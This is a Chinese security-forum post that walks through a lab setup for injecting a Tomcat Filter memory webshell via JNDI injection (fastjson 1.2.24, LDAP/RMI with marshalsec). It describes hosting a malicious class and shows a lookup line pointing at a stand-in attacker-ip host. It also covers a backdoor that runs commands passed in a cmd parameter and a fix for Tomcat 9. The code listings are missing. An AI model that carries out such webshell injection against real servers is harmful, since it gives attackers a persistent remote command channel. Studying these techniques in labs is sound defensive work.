技术社区
安全培训
技术社群
积分商城
先知平台
漏洞库
历史记录
清空历史记录
相关的动态
相关的文章
相关的用户
相关的圈子
相关的话题
注册
登录
JNDI注入内存马并绕过Tomcat高版本
零溢出
发表于 江西
WEB安全
1573浏览 · 2025-06-12 18:54
返回文档
先来说说内存马,基本上常见的注入类型有四种,
●
基于ServletAPI的,具体来说就是动态注册Servlet、Filter或Listener
●
基于SpringMVC的,具体来说是动态注册Controller或Interceptor
●
通过注册Tomcat的Pipeline和Valve机制注册的
●
还有一种是Agent内存马,agentmain类型的agent可以attach到一个正在运行的Java进程上,并且可以根据需要修改或重新转换已被加载或需要被加载的类,鉴于此,我们可以修改某个类的字节码。比如修改ApplicationFilterChain中的doFilter方法,在方法前面加入我们的恶意后门。当然理论上来说,改Controller或者Interceptor都行的。使用时根据需要自行修改类即可。
一般来说我更喜欢基于ServletAPI的动态注册Filter方式注入内存马,理由是通用型更强,目标系统无需依赖SpringMVC也能用。还有一个是根据请求的调用过程,如果存在鉴权的情况,请求不一定能走到Servlet,相比你们一定见过访问网页跳转/login登录页的情况,那这种情况即使注册为Servlet访问不到也没用,但是Filter比Servlet有更高的优先级。鉴于此,本文下文均使用动态注册Filter类型内存马的方式。
前提是需要一个ServletRequest对象,因为我们需要动态注册用到的属性或者方法在StandardContext的实例对象中,而这个实例对象恰好可以通过Request对象通过一系列反射调用得到。这个好说,在jsp、Servlet#doGet/doPost、Filter#doFilter、Controller...等地方中均可轻松获取到当前请求的Request对象。下面就是动态注册一个Filter的典型过程。
只要访问一次这个jsp文件,一个Filter内存马就会被动态注册到JavaWeb应用中。
不过这还是要事先上传一个jsp文件到服务器上的,与无文件落地的理念相悖,不够优雅。且并非所有情况下均能访问或解析jsp文件。那么有没有一种方式不用上传文件也能注入内存马呢?有的,JNDI就可以让Java去下载一个远程的class文件并执行。经典的漏洞有fastjson1.2.24(JdbcRowSetImpl利用链)和log4j2。
JNDI
JNDI允许通过命名服务动态加载远程对象,当lookup()方法的URL参数可控时,攻击者可构造恶意JNDI服务地址(RMI/LDAP),诱导客户端访问攻击者控制的目录服务。
再回顾一下JNDI的注入流程:
攻击端(Ldap为例)
1
编写恶意类
2
编译恶意类并托管在HTTP服务器
3
启动LDAP服务并将引用指向上一步Http服务器中的恶意类:
受害者端触发
1
客户端执行可控代码:context.lookup("ldap://attacker-ip:1389/Exploit")
2
JNDI客户端请求LDAP服务
3
LDAP返回恶意Reference对象
4
客户端解析Reference时:
a
从codebase指定URL动态加载
b
实例化恶意类触发构造函数/static代码块
结合内存马使用
不过这里下载的类中会被自动执行的地方只有三个代码块,分别是static{},{}和无参构造方法。所以上面的注入代码就需要改造一下了。问题就来了,这三个地方可没有Request对象传入,我们要怎么拿到StandardContext呢?参考这篇文章:
https://xz.aliyun.com/news/9369
如果是Tomcat可以通过这段代码拿到(重点要说明一下,最后版本不兼容的坑也就出现在这里)
如果依赖了Spring框架可以先用下面的方法取得Request
注入内存马
准备了一个受害者环境,环境是Tomcat8(非Tomcat8.5及以上版本)和Java8u62(在 JDK 8u191 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,这会导致无法下载远程类到本地,也就是无法利用。但是还是会有绕过方式。本文不做赘述。)。可以从
https://archive.apache.org/dist/tomcat/tomcat-8/
中下载。新建项目
代码很简单,就是在一个Servlet的doGet中调用lookup()请求传来的数据源,写好代码并启动Tomcat服务器
然后准备恶意代码。再新开一个项目,同样基于Java8。
在pom.xml中添加tomcat-catalina@8.0.53、javax.servlet-api及javassist依赖
写一个后门Servlet,执行cmd参数中的命令并返回执行结果
使用javassist库将刚刚写的后面shell转为base64
代码如下
将base64文本复制到我们写的动态注册Filter的Inject类的code变量中(检查末尾不能带
n换行)
Inject类的内容如下:
你可能会疑惑,为什么要通过ClassLoader来创建这个类,而不是直接New出这个类来呢?因为在利用环境中,这个Inject类是通过jndi服务让受害者下载到本地的,受害者环境中并没有ShellFilter这个Filter呐,而jndi一次只能指向到一个class上。
你可能又想问为什么不写成内部类呢?因为就算是内部类,在编译后依然会生成两个独立的class文件。所以条件所限,只能写成动态生成类的方式。
接下来使用mvn compile编译刚刚写好的Inject类,并原地起一个http服务器。
接着再启动一个ldap或者rmi服务,我这里用marshalsec这个包。攻击方在局域网中的ip是192.168.100.1
顺带一提说,也是用Java8启动的。
攻击方这个环境都准备好了,接下来去触发一下受害者就行。访问此url触发:
报错了,但是不要慌,区区没有实现getObjectInstance方法罢了,但肯定构造方法中的注入逻辑肯定是触发了的。执行个命令看一下:
你可能要问,为什么不用vulhub的fastjson1.2.24rce靶场做复现,而是要自己写一个呢?问题就出现在这里,笔者无论是用Github的JNDIExploit项目,还是手写代码,均无法注入成功。这是为什么呢?
这个问题困扰笔者许久,在多次尝试未果的情况下,笔者进入fastjson1.2.24靶机容器内部,dump出源码查看靶机所使用的tomcat版本
解压查看,发现靶机用的版本是Tomcat9
于是再新建一个基于tomcat9的项目
编辑pom.xml,添加依赖,使用tomcat9
放入Inject,并手动在HelloServlet.java调用无参构造方法同时打上断点,运行项目,并访问/hello入口,触发恶意代码。
发现在Inject.java的getContext()方法处爆出了空指针异常,重新以调试模式运行,让程序停在断点处。
跟进到Inject.java的getContext()方法内
程序获取standardroot变量失败,跟进WebappClassLoaderBase.getResources()方法查看为什么获取到的变量是null
发现方法已弃用,但全局存在访问级别为受保护的resources属性。于是改造Inject.getContext()为通过反射获取StandardContext。改造后的代码如下:
那么,实战试试吧
1.编译注入类Inject,并托管在Http服务器上,我这里选择起一个python服务
2.配置RMI服务引用指向Inject
3.启动vulhub的fastjson靶机
4.访问并打出payload
5.任意位置加上参数?cmd=ls测试效果
1
人收藏
0
人喜欢
转载
分享
1
条评论
某人
表情
可输入
255
字
评论
发布投稿
热门文章
1
从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)
2
突破网络限制,Merlin Agent助你轻松搭建跳板网络!
3
从白帽角度浅谈SRC业务威胁情报挖掘与实战
4
基于规则的流量加解密工具-CloudX
5
从0到1大模型MCP自动化漏洞挖掘实践
近期热点
一周
月份
季度
1
从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)
2
突破网络限制,Merlin Agent助你轻松搭建跳板网络!
3
从白帽角度浅谈SRC业务威胁情报挖掘与实战
4
基于规则的流量加解密工具-CloudX
5
从0到1大模型MCP自动化漏洞挖掘实践
暂无相关信息
暂无相关信息
优秀作者
1
T0daySeeker
贡献值:38700
2
一天
贡献值:24800
3
Yale
贡献值:21000
4
1674701160110592
贡献值:18000
5
1174735059082055
贡献值:16000
6
Loora1N
贡献值:13000
7
bkbqwq
贡献值:12800
8
手术刀
贡献值:11000
9
lufei
贡献值:11000
10
xsran
贡献值:10600
目录
JNDI
攻击端(Ldap为例)
受害者端触发
结合内存马使用
注入内存马
转载
标题
作者:
你好
http://www.a.com/asdsabdas
文章
转载
自
复制到剪贴板